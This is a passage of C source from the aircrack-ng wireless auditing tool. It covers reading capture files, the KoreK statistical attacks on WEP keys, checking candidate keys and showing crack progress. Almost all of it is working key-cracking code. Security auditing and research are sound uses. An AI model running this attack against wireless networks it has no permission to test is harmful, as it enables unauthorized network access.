}
(*ap_cur)->stations = c_avl_create(station_compare);
append_ap(*ap_cur);
}
int rv = packet_reader__update_ap_info(
*ap_cur, fmt, buffer, h80211, ivs2, pkh, me);
if (rv != 0)
{
if (rv > 0)
{
// NOTE: skipping this AP base station.
*ap_cur = NULL;
return (1);
}
else
{
// NOTE: an error occurred.
return (rv);
}
}
return (0);
}
/**
* Thread controlling the processing of packet data from a file or stream.
*
* This thread is called in one of two possible ways:
*
* a. With a BSSID specified from the command-line parameters.
*
* b. Without a BSSID specified in the command-line parameters.
*
* The goal of both is, to read one or more AP base-stations from the packet
* capture files given (passed inside of \a arg); producing our needed
* structures for later cracking.
*
* When a BSSID is specified, we ONLY read data relating to that BSSID. This
* mode is called PACKET_READER_READ_MODE.
*
* Otherwise, the entire file is loaded in to RAM. This mode is called
* PACKET_READER_CHECK_MODE.
*
* **NOTE**: This thread is joinable, and MUST be joined after use.
*
* @param arg A heap allocated, filled in \a packet_reader_t structure.
* We handle releasing the memory upon function exit.
*/
static THREAD_ENTRY(packet_reader_thread)
{
REQUIRE(arg != NULL);
packet_reader_t * request = (packet_reader_t *) arg;
unsigned char * buffer = NULL;
read_buf rb = {0};
int fd = -1;
int n;
int fmt;
unsigned char bssid[ETHER_ADDR_LEN] = {0};
unsigned char dest[ETHER_ADDR_LEN] = {0};
unsigned char * h80211 = NULL;
struct ivs2_pkthdr ivs2 = {0};
struct ivs2_filehdr fivs2 = {0};
struct pcap_pkthdr pkh = {0};
struct pcap_file_header pfh = {0};
struct AP_info * ap_cur = NULL;
REQUIRE(request->filename != NULL);
REQUIRE((request->mode == PACKET_READER_CHECK_MODE)
|| (request->mode == PACKET_READER_READ_MODE));
ALLEGE(signal(SIGINT, sighandler) != SIG_ERR);
rb.tail = (request->mode == PACKET_READER_CHECK_MODE
|| (request->mode == PACKET_READER_READ_MODE //-V560
&& (opt.essid_set || opt.bssid_set)))
? 0
: 1;
if ((buffer = (unsigned char *) malloc(65536)) == NULL)
{
/* there is no buffer */
perror("malloc failed");
goto read_fail;
}
h80211 = buffer;
if (!opt.is_quiet) printf("Opening %s\n", request->filename);
if (strcmp(request->filename, "-") == 0)
fd = 0;
else
{
if ((fd = open(request->filename, O_RDONLY | O_BINARY)) < 0)
{
fprintf(stderr,
"Failed to open '%s' (%d): %s\n",
request->filename,
errno,
strerror(errno));
goto read_fail;
}
}
if (!atomic_read(&rb, fd, 4, &pfh))
{
perror("read(file header) failed");
goto read_fail;
}
fmt = FORMAT_IVS;
if (memcmp(&pfh, HCCAPX_MAGIC, 4) == 0
|| memcmp(&pfh, HCCAPX_CIGAM, 4) == 0)
{
fmt = FORMAT_HCCAPX;
}
else if (memcmp(&pfh, IVSONLY_MAGIC, 4) != 0
&& memcmp(&pfh, IVS2_MAGIC, 4) != 0)
{
fmt = FORMAT_CAP;
if (pfh.magic != TCPDUMP_MAGIC && pfh.magic != TCPDUMP_CIGAM)
{
fprintf(stderr,
"Unsupported file format "
"(not a pcap or IVs file).\n");
goto read_fail;
}
/* read the rest of the pcap file header */
if (!atomic_read(&rb, fd, 20, (unsigned char *) &pfh + 4))
{
perror("read(file header) failed");
goto read_fail;
}
/* take care of endian issues and check the link type */
if (pfh.magic == TCPDUMP_CIGAM)
{
pfh.version_major = ___my_swab16(pfh.version_major);
pfh.version_minor = ___my_swab16(pfh.version_minor);
pfh.snaplen = ___my_swab32(pfh.snaplen);
pfh.linktype = ___my_swab32(pfh.linktype);
}
if (pfh.linktype != LINKTYPE_IEEE802_11
&& pfh.linktype != LINKTYPE_PRISM_HEADER
&& pfh.linktype != LINKTYPE_RADIOTAP_HDR
&& pfh.linktype != LINKTYPE_PPI_HDR)
{
fprintf(stderr,
"This file is not a regular "
"802.11 (wireless) capture.\n");
goto read_fail;
}
}
else
{
if (opt.wep_decloak)
{
fprintf(stderr, "Can't use decloak wep mode with ivs\n");
goto read_fail;
}
if (memcmp(&pfh, IVS2_MAGIC, 4) == 0)
{
fmt = FORMAT_IVS2;
if (!atomic_read(&rb,
fd,
sizeof(struct ivs2_filehdr),
(unsigned char *) &fivs2))
{
perror("read(file header) failed");
goto read_fail;
}
if (fivs2.version > IVS2_VERSION)
{
fprintf(stderr,
"Error, wrong %s version: %d. Supported up to version "
"%d.\n",
IVS2_EXTENSION,
fivs2.version,
IVS2_VERSION);
goto read_fail;
}
}
else if (opt.do_ptw)
{
fprintf(stderr,
"Can't do PTW with old IVS files, recapture without --ivs "
"or use airodump-ng >= 1.0\n");
goto read_fail;
}
}
while (1)
{
if (close_aircrack) break;
if (fmt == FORMAT_IVS)
{
/* read one IV */
if (!atomic_read(&rb, fd, 1, buffer)) goto done_reading;
if (close_aircrack) break;
if (buffer[0] != 0xFF)
{
/* new access point MAC */
bssid[0] = buffer[0];
if (!atomic_read(&rb, fd, 5, bssid + 1)) goto done_reading;
}
if (!atomic_read(&rb, fd, 5, buffer)) goto done_reading;
}
else if (fmt == FORMAT_IVS2)
{
if (!atomic_read(&rb, fd, sizeof(struct ivs2_pkthdr), &ivs2))
goto done_reading;
if (ivs2.flags & IVS2_BSSID)
{
if (!atomic_read(&rb, fd, ETHER_ADDR_LEN, bssid))
goto done_reading;
ivs2.len -= ETHER_ADDR_LEN;
}
if (!atomic_read(&rb, fd, ivs2.len, buffer)) goto done_reading;
}
else if (fmt == FORMAT_HCCAPX)
{
load_hccapx_file(fd);
goto done_reading;
}
else
{
if (!atomic_read(&rb, fd, sizeof(pkh), &pkh)) goto done_reading;
if (pfh.magic == TCPDUMP_CIGAM)
{
pkh.caplen = ___my_swab32(pkh.caplen);
pkh.len = ___my_swab32(pkh.len);
pkh.tv_sec = ___my_swab32(pkh.tv_sec);
pkh.tv_usec = ___my_swab32(pkh.tv_usec);
}
if (pkh.caplen <= 0 || pkh.caplen > 65535)
{
fprintf(stderr,
"\nInvalid packet capture length %lu - "
"corrupted file?\n",
(unsigned long) pkh.caplen);
goto done_reading;
}
if (!atomic_read(&rb, fd, pkh.caplen, buffer)) goto done_reading;
h80211 = buffer;
if (pfh.linktype == LINKTYPE_PRISM_HEADER)
{
/* remove the prism header */
if (h80211[7] == 0x40)
n = 64;
else
{
n = load32_le(h80211 + 4);
}
if (n < 8 || n >= (int) pkh.caplen) continue;
h80211 += n;
pkh.caplen -= n;
}
else if (pfh.linktype == LINKTYPE_RADIOTAP_HDR)
{
/* remove the radiotap header */
n = load16_le(h80211 + 2);
if (n <= 0 || n >= (int) pkh.caplen) continue;
h80211 += n;
pkh.caplen -= n;
}
else if (pfh.linktype == LINKTYPE_PPI_HDR)
{
/* Remove the PPI header */
n = load16_le(h80211 + 2);
if (n <= 0 || n >= (int) pkh.caplen) continue;
/* for a while Kismet logged broken PPI headers */
if (n == 24 && load16_le(h80211 + 8) == 2) n = 32;
h80211 += n;
pkh.caplen -= n;
}
else if (pfh.linktype == LINKTYPE_IEEE802_11)
{
/* nothing to do */
}
else
{
fprintf(stderr, "unsupported linktype %u\n", pfh.linktype);
continue;
}
}
ALLEGE(pthread_mutex_lock(&mx_apl) == 0);
int rv = packet_reader_process_packet(
request, bssid, dest, fmt, buffer, h80211, &ivs2, &pkh, &ap_cur);
ALLEGE(pthread_mutex_unlock(&mx_apl) == 0);
if (rv < 0)
{
// NOTE: An error occurred during processing, bail!
goto done_reading;
}
if (ap_cur != NULL)
{
if ((ap_cur->nb_ivs >= opt.max_ivs)
|| (ap_cur->nb_ivs_clean >= opt.max_ivs)
|| (ap_cur->nb_ivs_vague >= opt.max_ivs))
{
goto done_reading;
}
}
if (request->mode == PACKET_READER_READ_MODE && nb_prev_pkt == nb_pkt)
{
ALLEGE(pthread_mutex_lock(&mx_eof) == 0);
pthread_cond_signal(&cv_eof);
ALLEGE(pthread_mutex_unlock(&mx_eof) == 0);
}
}
done_reading:
++nb_eof;
read_fail:
ALLEGE(pthread_mutex_lock(&mx_eof) == 0);
pthread_cond_signal(&cv_eof);
ALLEGE(pthread_mutex_unlock(&mx_eof) == 0);
destroy(buffer, free);
destroy(rb.buf1, free);
destroy(rb.buf2, free);
if (fd != -1) close(fd);
free(arg);
return (NULL);
}
/* timing routine */
static __attribute__((always_inline)) float chrono(struct timeval * start,
int reset)
{
REQUIRE(start != NULL);
float delta;
struct timeval current;
gettimeofday(¤t, NULL);
delta = (current.tv_sec - start->tv_sec)
+ (float) (current.tv_usec - start->tv_usec) / 1000000.f;
if (reset) gettimeofday(start, NULL);
return (delta);
}
/* signal-safe I/O routines */
static ssize_t safe_read(int fd, void * buf, size_t len)
{
REQUIRE(buf != NULL);
REQUIRE(len > 0);
if (fd < 0) return (-1);
ssize_t n;
size_t sum = 0;
char * off = (char *) buf;
while (sum < len)
{
n = 0;
if (may_read(fd))
{
if (!(n = read(fd, (void *) off, len - sum)))
{
return (0);
}
}
if (close_aircrack) return (-1);
if (n < 0 && errno == EINTR) continue;
if (n < 0) return (n);
sum += n;
off += n;
}
return (sum);
}
static ssize_t safe_write(int fd, void * buf, size_t len)
{
REQUIRE(buf != NULL);
REQUIRE(len > 0);
if (fd < 0) return (-1);
ssize_t n;
size_t sum = 0;
char * off = (char *) buf;
while (sum < len)
{
if ((n = write(fd, (void *) off, len - sum)) < 0)
{
if (errno == EINTR) continue;
return (n);
}
sum += n;
off += n;
}
return (sum);
}
/* each thread computes the votes over a subset of the IVs */
static THREAD_ENTRY(crack_wep_thread)
{
long xv, min, max;
unsigned char jj[256] = {0};
unsigned char S[256], Si[256];
unsigned char K[64];
unsigned char io1, o1, io2, o2;
unsigned char Sq, dq, Kq, jq, q;
unsigned char S1, S2, J2, t2;
int i, j, B = 0, cid = (int) ((long) arg);
int votes[N_ATTACKS][256];
int first = 1, first2, oldB = 0, oldq = 0;
memcpy(S, R, 256);
memcpy(Si, R, 256);
while (1)
{
if (safe_read(mc_pipe[cid][0], (void *) &B, sizeof(int)) != sizeof(int))
{
return ((void *) FAILURE); //-V566
}
if (close_aircrack) break;
first2 = 1;
min = 5 * (((cid) *wep.nb_ivs) / opt.nbcpu);
max = 5 * (((1 + cid) * wep.nb_ivs) / opt.nbcpu);
q = (uint8_t) (3 + B);
if (B > 0 && (size_t) B < sizeof(wep.key) - 3)
memcpy(K + 3, wep.key, (size_t) B);
memset(votes, 0, sizeof(votes));
/* START: KoreK attacks */
for (xv = min; xv < max; xv += 5)
{
if (!first)
{
for (i = 0; i < oldq; i++)
{
S[i] = Si[i] = (uint8_t) i;
S[jj[i]] = Si[jj[i]] = jj[i];
}
}
ALLEGE(pthread_mutex_lock(&mx_ivb) == 0);
memcpy(K, &wep.ivbuf[xv], 3); //-V512
INVARIANT((size_t) q < sizeof(K));
for (i = j = 0; i < q; i++)
{
INVARIANT((size_t) i < sizeof(K));
INVARIANT((size_t) i < sizeof(S));
jj[i] = (uint8_t) ((j + S[i] + K[i]) & 0xFF);
j = (j + S[i] + K[i]) & 0xFF;
SWAP(S[i], S[j]);
}
i = q;
do
{
i--;
SWAP(Si[i], Si[jj[i]]);
} while (i != 0);
o1 = (uint8_t) (wep.ivbuf[xv + 3] ^ 0xAA);
io1 = Si[o1];
S1 = S[1];
o2 = (uint8_t) (wep.ivbuf[xv + 4] ^ 0xAA);
io2 = Si[o2];
S2 = S[2];
ALLEGE(pthread_mutex_unlock(&mx_ivb) == 0);
if (first) first = 0;
if (first2)
{
oldB = B;
oldq = 3 + oldB;
first2 = 0;
}
Sq = S[q];
dq = Sq + jj[q - 1];
if (S2 == 0)
{
if ((S1 == 2) && (o1 == 2))
{
Kq = (uint8_t) 1 - dq;
votes[A_neg][Kq]++;
Kq = (uint8_t) 2 - dq;
votes[A_neg][Kq]++;
}
else if (o2 == 0)
{
Kq = (uint8_t) 2 - dq;
votes[A_neg][Kq]++;
}
}
else
{
if ((o2 == 0) && (Sq == 0))
{
Kq = (uint8_t) 2 - dq;
votes[A_u15][Kq]++;
}
}
if ((S1 == 1) && (o1 == S2))
{
Kq = (uint8_t) 1 - dq;
votes[A_neg][Kq]++;
Kq = (uint8_t) 2 - dq;
votes[A_neg][Kq]++;
}
if ((S1 == 0) && (S[0] == 1) && (o1 == 1))
{
Kq = (uint8_t) 0 - dq;
votes[A_neg][Kq]++;
Kq = (uint8_t) 1 - dq;
votes[A_neg][Kq]++;
}
if (S1 == q)
{
if (o1 == q)
{
Kq = Si[0] - dq;
votes[A_s13][Kq]++;
}
else if (((1 - q - o1) & 0xFF) == 0)
{
Kq = io1 - dq;
votes[A_u13_1][Kq]++;
}
else if (io1 < q)
{
jq = Si[(io1 - q) & 0xFF];
if (jq != 1)
{
Kq = jq - dq;
votes[A_u5_1][Kq]++;
}
}
}
if ((io1 == 2) && (S[q] == 1))
{
Kq = (uint8_t) 1 - dq;
votes[A_u5_2][Kq]++;
}
if (S[q] == q)
{
if ((S1 == 0) && (o1 == q))
{
Kq = (uint8_t) 1 - dq;
votes[A_u13_2][Kq]++;
}
else if ((((1 - q - S1) & 0xFF) == 0) && (o1 == S1))
{
Kq = (uint8_t) 1 - dq;
votes[A_u13_3][Kq]++;
}
else if ((S1 >= ((-q) & 0xFF))
&& (((q + S1 - io1) & 0xFF) == 0))
{
Kq = (uint8_t) 1 - dq;
votes[A_u5_3][Kq]++;
}
}
if ((S1 < q) && (((S1 + S[S1] - q) & 0xFF) == 0) && (io1 != 1)
&& (io1 != S[S1]))
{
Kq = io1 - dq;
votes[A_s5_1][Kq]++;
}
if ((S1 > q) && (((S2 + S1 - q) & 0xFF) == 0))
{
if (o2 == S1)
{
jq = Si[(S1 - S2) & 0xFF];
if ((jq != 1) && (jq != 2))
{
Kq = jq - dq;
votes[A_s5_2][Kq]++;
}
}
else if (o2 == ((2 - S2) & 0xFF))
{
jq = io2;
if ((jq != 1) && (jq != 2))
{
Kq = jq - dq;
votes[A_s5_3][Kq]++;
}
}
}
if ((S[1] != 2) && (S[2] != 0))
{
J2 = S[1] + S[2];
if (J2 < q)
{
t2 = S[J2] + S[2];
if ((t2 == q) && (io2 != 1) && (io2 != 2) && (io2 != J2))
{
Kq = io2 - dq;
votes[A_s3][Kq]++;
}
}
}
if (S1 == 2)
{
if (q == 4)
{
if (o2 == 0)
{
Kq = Si[0] - dq;
votes[A_4_s13][Kq]++;
}
else
{
if ((jj[1] == 2) && (io2 == 0))
{
Kq = Si[254] - dq;
votes[A_4_u5_1][Kq]++;
}
if ((jj[1] == 2) && (io2 == 2))
{
Kq = Si[255] - dq;
votes[A_4_u5_2][Kq]++;
}
}
}
else if ((q > 4) && ((S[4] + 2) == q) && (io2 != 1)
&& (io2 != 4))
{
Kq = io2 - dq;
votes[A_u5_4][Kq]++;
}
}
if (close_aircrack) break;
}
if (close_aircrack) break;
/* END: KoreK attacks */
if (safe_write(cm_pipe[cid][1], votes, sizeof(votes)) != sizeof(votes))
{
perror("write failed");
kill(0, SIGTERM);
_exit(EXIT_FAILURE);
}
}
return ((void *) SUCCESS);
}
/* display the current votes */
void show_wep_stats(int B,
int force,
PTW_tableentry table[PTW_KEYHSBYTES][PTW_n],
int choices[KEYHSBYTES],
int depth[KEYHSBYTES],
int prod)
{
float delta;
struct winsize ws;
int i, et_h, et_m, et_s;
static int is_cleared = 0;
if ((chrono(&t_stats, 0) < 1.51 || wepkey_crack_success) && force == 0)
return;
if (ioctl(0, TIOCGWINSZ, &ws) < 0)
{
ws.ws_row = 25;
ws.ws_col = 80;
}
chrono(&t_stats, 1);
delta = chrono(&t_begin, 0);
et_h = (int) (delta / 3600);
et_m = (int) ((delta - et_h * 3600) / 60);
et_s = (int) (delta - et_h * 3600 - et_m * 60);
if (is_cleared == 0)
{
is_cleared++;
if (opt.l33t) textcolor_bg(TEXT_BLACK);
erase_display(2);
}
if (opt.l33t) textcolor(TEXT_BRIGHT, TEXT_BLUE, TEXT_BLACK);
moveto((ws.ws_col - (int) strlen(progname)) / 2, 2);
printf("%s\n\n", progname);
if (opt.l33t) textcolor(TEXT_BRIGHT, TEXT_YELLOW, TEXT_BLACK);
moveto((ws.ws_col - 44) / 2, 5);
if (table)
printf("[%02d:%02d:%02d] Tested %d keys (got %ld IVs)",
et_h,
et_m,
et_s,
prod,
opt.ap->nb_ivs);
else
printf("[%02d:%02d:%02d] Tested %zd keys (got %ld IVs)",
et_h,
et_m,
et_s,
nb_tried,
wep.nb_ivs_now);
erase_line(0);
if (opt.l33t)
{
textcolor_fg(TEXT_GREEN);
textcolor_normal();
}
moveto(4, 7);
printf("KB depth byte(vote)\n");
for (i = 0; i <= B; i++)
{
int j, k = (ws.ws_col - 20) / 11;
if (!table)
{
if (opt.l33t)
{
printf(" %2d ", i);
textstyle(TEXT_BRIGHT);
printf("%3d", wep.depth[i]);
textcolor_fg(TEXT_GREEN);
printf("/%3d ", wep.fudge[i]);
}
else
printf(" %2d %3d/%3d ", i, wep.depth[i], wep.fudge[i]);
}
else
printf(" %2d %3d/%3d ", i, depth[i], choices[i]);
if (table)
{
for (j = depth[i]; j < k + depth[i]; j++)
{
if (j >= 256) break;
if (opt.l33t)
{
textstyle(TEXT_BRIGHT);
printf("%02X", table[i][j].b);
textcolor_fg(TEXT_GREEN);
printf("(%4d) ", table[i][j].votes);
}
else
printf("%02X(%4d) ", table[i][j].b, table[i][j].votes);
}
}
else
{
for (j = wep.depth[i]; j < k + wep.depth[i]; j++)
{
if (j >= 256) break;
if (wep.poll[i][j].val == 32767)
{
if (opt.l33t)
{
textstyle(TEXT_BRIGHT);
printf("%02X", wep.poll[i][j].idx);
textcolor_normal();
printf("(+inf) ");
}
else
printf("%02X(+inf) ", wep.poll[i][j].idx);
}
else
{
if (opt.l33t)
{
textstyle(TEXT_BRIGHT);
printf("%02X", wep.poll[i][j].idx);
textcolor_normal();
printf("(%4d) ", wep.poll[i][j].val);
}
else
printf("%02X(%4d) ",
wep.poll[i][j].idx,
wep.poll[i][j].val);
}
}
}
if (opt.showASCII && !table)
if (wep.poll[i][wep.depth[i]].idx >= ASCII_LOW_T
&& wep.poll[i][wep.depth[i]].idx <= ASCII_HIGH_T)
if (wep.poll[i][wep.depth[i]].val >= ASCII_VOTE_STRENGTH_T
|| ASCII_DISREGARD_STRENGTH) //-V560
printf(" %c", wep.poll[i][wep.depth[i]].idx);
printf("\n");
}
if (B < opt.keylen - 1) erase_display(0);
printf("\n");
}
static void key_found(unsigned char * wepkey, int keylen, int B)
{
REQUIRE(wepkey != NULL);
REQUIRE(keylen >= 0);
FILE * keyFile;
int i, n;
int nb_ascii = 0;
if (opt.probability < 1) return;
for (i = 0; i < keylen; i++)
if (wepkey[i] == 0 || (wepkey[i] >= 32 && wepkey[i] < 127)) nb_ascii++;
wepkey_crack_success = 1;
memcpy(bf_wepkey, wepkey, (size_t) keylen);
if (opt.is_quiet)
printf("KEY FOUND! [ ");
else
{
if (B != -1) show_wep_stats(B - 1, 1, NULL, NULL, NULL, 0);
if (opt.l33t)
{
textstyle(TEXT_BRIGHT);
textcolor_fg(TEXT_RED);
}
n = (80 - 14 - keylen * 3) / 2;
if (100 * nb_ascii > 75 * keylen) n -= (keylen + 4) / 2;
if (n <= 0) n = 0;
erase_line(0);
move(CURSOR_FORWARD, n);
printf("KEY FOUND! [ ");
}
for (i = 0; i < keylen - 1; i++) printf("%02X:", wepkey[i]);
printf("%02X ] ", wepkey[i]);
if (nb_ascii == keylen)
{
printf("(ASCII: ");
for (i = 0; i < keylen; i++)
printf("%c",
((wepkey[i] > 31 && wepkey[i] < 127) || wepkey[i] > 160)
? wepkey[i]
: '.');
printf(" )");
}
if (opt.l33t)
{
textcolor_fg(TEXT_GREEN);
textcolor_normal();
}
printf("\n\tDecrypted correctly: %d%%\n", opt.probability);
printf("\n");
// Write the key to a file
if (opt.logKeyToFile != NULL)
{
keyFile = fopen(opt.logKeyToFile, "w");
if (keyFile != NULL)
{
for (i = 0; i < keylen; i++) fprintf(keyFile, "%02X", wepkey[i]);
fclose(keyFile);
}
}
}
/* test if the current WEP key is valid */
static int check_wep_key(unsigned char * wepkey, int B, int keylen)
{
unsigned char x1, x2;
unsigned long xv;
size_t i, j, n, bad;
unsigned long tests;
unsigned char K[64];
unsigned char S[256];
if (keylen <= 0) keylen = opt.keylen;
ALLEGE(pthread_mutex_lock(&mx_nb) == 0);
nb_tried++;
ALLEGE(pthread_mutex_unlock(&mx_nb) == 0);
bad = 0;
memcpy(K + 3, wepkey, (size_t) keylen);
tests = 32;
if (opt.dict) tests = (unsigned long) wep.nb_ivs;
if (tests < TEST_MIN_IVS) tests = TEST_MIN_IVS;
if (tests > TEST_MAX_IVS) tests = TEST_MAX_IVS;
for (n = 0; n < tests; n++)
{
xv = 5u * n;
ALLEGE(pthread_mutex_lock(&mx_ivb) == 0);
memcpy(K, &wep.ivbuf[xv], 3); //-V512
memcpy(S, R, sizeof(S));
for (i = j = 0; i < 256; i++)
{
j = (j + S[i] + K[i % (3 + keylen)]) & 0xFF;
SWAP(S[i], S[j]);
}
i = 1;
j = (size_t) ((0 + S[i]) & 0xFF);
SWAP(S[i], S[j]);
x1 = wep.ivbuf[xv + 3] ^ S[(S[i] + S[j]) & 0xFF];
i = 2;
j = (size_t) ((j + S[i]) & 0xFF);
SWAP(S[i], S[j]);
x2 = wep.ivbuf[xv + 4] ^ S[(S[i] + S[j]) & 0xFF];
ALLEGE(pthread_mutex_unlock(&mx_ivb) == 0);
if ((x1 != 0xAA || x2 != 0xAA) && (x1 != 0xE0 || x2 != 0xE0)
&& (x1 != 0x42 || x2 != 0x42)
&& (x1 != 0x02 || x2 != 0xAA)) // llc sub layer management
bad++;
if (bad > ((tests * opt.probability) / 100)) return (FAILURE);
}
opt.probability = (int) (((tests - bad) * 100) / tests);
key_found(wepkey, keylen, B);
return (SUCCESS);
}
/* sum up the votes and sort them */
static int calc_poll(int B)
{
int i, cid, *vi;
size_t n;
int votes[N_ATTACKS][256];
memset(&opt.votes, '\0', sizeof(opt.votes));
/* send the current keybyte # to each thread */
for (cid = 0; cid < opt.nbcpu; cid++)
{
n = sizeof(int);
if ((size_t) safe_write(mc_pipe[cid][1], &B, n) != n)
{
perror("write failed");
kill(0, SIGTERM);
_exit(EXIT_FAILURE);
}
}
/* collect the votes, multiply by the korek coeffs */
for (i = 0; i < 256; i++)
{
wep.poll[B][i].idx = i;
wep.poll[B][i].val = 0;
}
for (cid = 0; cid < opt.nbcpu; cid++)
{
n = sizeof(votes);
if ((size_t) safe_read(cm_pipe[cid][0], votes, n) != n)
{
return (FAILURE);
}
for (n = 0, vi = (int *) votes; n < N_ATTACKS; n++)
for (i = 0; i < 256; i++, vi++)
{
wep.poll[B][i].val += *vi * K_COEFF[n];
if (K_COEFF[n]) opt.votes[n] += *vi;
}
}
/* set votes to the max if the keybyte is user-defined */
if (opt.debug_row[B]) wep.poll[B][opt.debug[B]].val = 32767;
/* if option is set, restrict keyspace to alphanumeric */
if (opt.is_alnum)
{
for (i = 1; i < 32; i++) wep.poll[B][i].val = -1;
for (i = 127; i < 256; i++) wep.poll[B][i].val = -1;
}
if (opt.is_fritz)
{
for (i = 0; i < 48; i++) wep.poll[B][i].val = -1;
for (i = 58; i < 256; i++) wep.poll[B][i].val = -1;
}
/* if option is set, restrict keyspace to BCD hex digits */
if (opt.is_bcdonly)
{
for (i = 1; i < 256; i++)
if (i > 0x99 || (i & 0x0F) > 0x09) wep.poll[B][i].val = -1;
}
/* sort the votes, highest ones first */
qsort(wep.poll[B], 256, sizeof(vote), cmp_votes);
return (SUCCESS);
}
static int update_ivbuf(void)
{
size_t n;
struct AP_info * ap_cur;
void * key;
/* 1st pass: compute the total number of available IVs */
wep.nb_ivs_now = 0;
wep.nb_aps = 0;
c_avl_iterator_t * it = c_avl_get_iterator(access_points);
while (c_avl_iterator_next(it, &key, (void **) &ap_cur) == 0)
{
if (ap_cur->crypt == 2 && ap_cur->target)
{
wep.nb_ivs_now += ap_cur->nb_ivs;
wep.nb_aps++;
}
}
c_avl_iterator_destroy(it);
/* 2nd pass: create the main IVs buffer if necessary */
if (wep.nb_ivs == 0
|| (opt.keylen == 5 && wep.nb_ivs_now - wep.nb_ivs > 20000)
|| (opt.keylen >= 13 && wep.nb_ivs_now - wep.nb_ivs > 40000))
{
/* one buffer to rule them all */
ALLEGE(pthread_mutex_lock(&mx_ivb) == 0);
destroy(wep.ivbuf, free);
wep.nb_ivs = 0;
it = c_avl_get_iterator(access_points);
while (c_avl_iterator_next(it, &key, (void **) &ap_cur) == 0)
{
if (ap_cur->ivbuf != NULL && ap_cur->crypt == 2 && ap_cur->target)
{
n = (size_t) ap_cur->nb_ivs;
uint8_t * tmp_ivbuf = realloc(wep.ivbuf, (wep.nb_ivs + n) * 5u);
if (tmp_ivbuf == NULL)
{
ALLEGE(pthread_mutex_unlock(&mx_ivb) == 0);
perror("realloc failed");
kill(0, SIGTERM);
_exit(EXIT_FAILURE);
}
wep.ivbuf = tmp_ivbuf;
memcpy(wep.ivbuf + wep.nb_ivs * 5u, ap_cur->ivbuf, 5u * n);
wep.nb_ivs += n;
}
}
c_avl_iterator_destroy(it);
ALLEGE(pthread_mutex_unlock(&mx_ivb) == 0);
return (RESTART);
}
return (SUCCESS);
}
/*
* It will remove votes for a specific keybyte (and remove from the requested
* current value)
* Return 0 on success, another value on failure
*/
static int remove_votes(int keybyte, unsigned char value)
{
int i;
int found = 0;
for (i = 0; i < 256; i++)
{
if (wep.poll[keybyte][i].idx == (int) value)
{
found = 1;
}
if (found)
{
// Put the value at the end with NO votes
if (i == 255)
{
wep.poll[keybyte][i].idx = (int) value;
wep.poll[keybyte][i].val = 0;
}
else
{
wep.poll[keybyte][i].idx = wep.poll[keybyte][i + 1].idx;
wep.poll[keybyte][i].val = wep.poll[keybyte][i + 1].val;
if (i == 0)
{
// Also update wep key if it's the first value to remove
wep.key[keybyte] = (uint8_t) wep.poll[keybyte][i].idx;
}
}
}
}
return (0);
}
/* standard attack mode: */
/* this routine gathers and sorts the votes, then recurses until it *
* reaches B == keylen. It also stops when the current keybyte vote *
* is lower than the highest vote divided by the fudge factor. */
static int do_wep_crack1(int B)
{
int i, j, l, m, tsel, charread;
int remove_keybyte_nr, remove_keybyte_value;
static int k = 0;
char user_guess[4];
get_ivs:
if (wepkey_crack_success) return (SUCCESS);
switch (update_ivbuf())
{
case FAILURE:
return (FAILURE);
case RESTART:
return (RESTART);
default:
break;
}
if ((wep.nb_ivs_now < 256 && opt.debug[0] == 0)
|| (wep.nb_ivs_now < 32 && opt.debug[0] != 0))
{
if (!opt.no_stdin)
{
printf("Not enough IVs available. You need about 250 000 IVs to "
"crack\n"
"40-bit WEP, and more than 800 000 IVs to crack a 104-bit "
"key.\n");
kill(0, SIGTERM);
_exit(EXIT_FAILURE);
}
else
{
printf(
"Read %ld packets, got %ld IVs...\n", nb_pkt, wep.nb_ivs_now);
fflush(stdout);
sleep(1);
goto get_ivs;
}
}
/* if last keybyte reached, check if the key is valid */
if (B == opt.keylen)
{
if (!opt.is_quiet) show_wep_stats(B - 1, 0, NULL, NULL, NULL, 0);
return (check_wep_key(wep.key, B, 0));
}
/* now compute the poll results for keybyte B */
if (calc_poll(B) != SUCCESS) return (FAILURE);
/* fudge threshold = highest vote divided by fudge factor */
for (wep.fudge[B] = 1; wep.fudge[B] < 256; wep.fudge[B]++)
if ((float) wep.poll[B][wep.fudge[B]].val
< (float) wep.poll[B][0].val / opt.ffact)
break;
/* try the most likely n votes, where n is the fudge threshold */
for (wep.depth[B] = 0;
wep.fudge[B] > 0 && wep.fudge[B] < 256 && wep.depth[B] < wep.fudge[B];
wep.depth[B]++)
{
switch (update_ivbuf())
{
case FAILURE:
return (FAILURE);
case RESTART:
return (RESTART);
default:
break;
}
wep.key[B] = (uint8_t) wep.poll[B][wep.depth[B]].idx;
if (!opt.is_quiet)
{
show_wep_stats(B, 0, NULL, NULL, NULL, 0);
}
if (B == 4 && opt.keylen == 13)
{
/* even when cracking 104-bit WEP, *
* check if the 40-bit key matches */
/* opt.keylen = 5; many functions use keylen. it is dangerous to do
* this in a multithreaded process */
if (check_wep_key(wep.key, B, 5) == SUCCESS)
{
opt.keylen = 5;
return (SUCCESS);
}
}
if (B + opt.do_brute + 1 == opt.keylen && opt.do_brute)
{
/* as noted by Simon Marechal, it's more efficient
* to just bruteforce the last two keybytes. */
/*
Ask for removing votes here
1. Input keybyte. Use enter when it's done => Bruteforce will
start
2. Input value to remove votes from: 00 -> FF or Enter to cancel
remove
3. Remove votes
4. Redraw
5. Go back to 1
*/
if (opt.visual_inspection == 1)
{
while (1)
{
// Show the current stat
show_wep_stats(B, 1, NULL, NULL, NULL, 0);
// Inputting user value until it hits enter or give a valid
// value
printf("On which keybyte do you want to remove votes (Hit "
"Enter when done)? ");
memset(user_guess, 0, 4);
charread = readLine(user_guess, 3);
// Break if 'Enter' key was hit
if (user_guess[0] == 0 || charread == 0) break;
// If it's not a number, reask
// Check if inputted value is correct (from 0 to and
// inferior to opt.keylen)
remove_keybyte_nr = (int) strtol(user_guess, NULL, 10);
if (isdigit((int) user_guess[0]) == 0
|| remove_keybyte_nr < 0
|| remove_keybyte_nr >= opt.keylen)
continue;
// It's a number for sure and the number is correct
// Now ask which value should be removed
printf("From which keybyte value do you want to remove the "
"votes (Hit Enter to cancel)? ");
memset(user_guess, 0, 4);
charread = readLine(user_guess, 3);
// Break if enter was hit
if (user_guess[0] == 0 || charread == 0) continue;
remove_keybyte_value = hexToInt(user_guess, charread);
// Check if inputted value is correct (hexa). Value range:
// 00 - FF
if (remove_keybyte_value < 0 || remove_keybyte_value > 255)
continue;
// If correct, remove and redraw
remove_votes(remove_keybyte_nr,
(unsigned char) remove_keybyte_value);
}
}
if (opt.nbcpu == 1 || opt.do_mt_brute == 0)
{
if (opt.do_brute == 4)
{
for (l = 0; l < 256; l++)
{
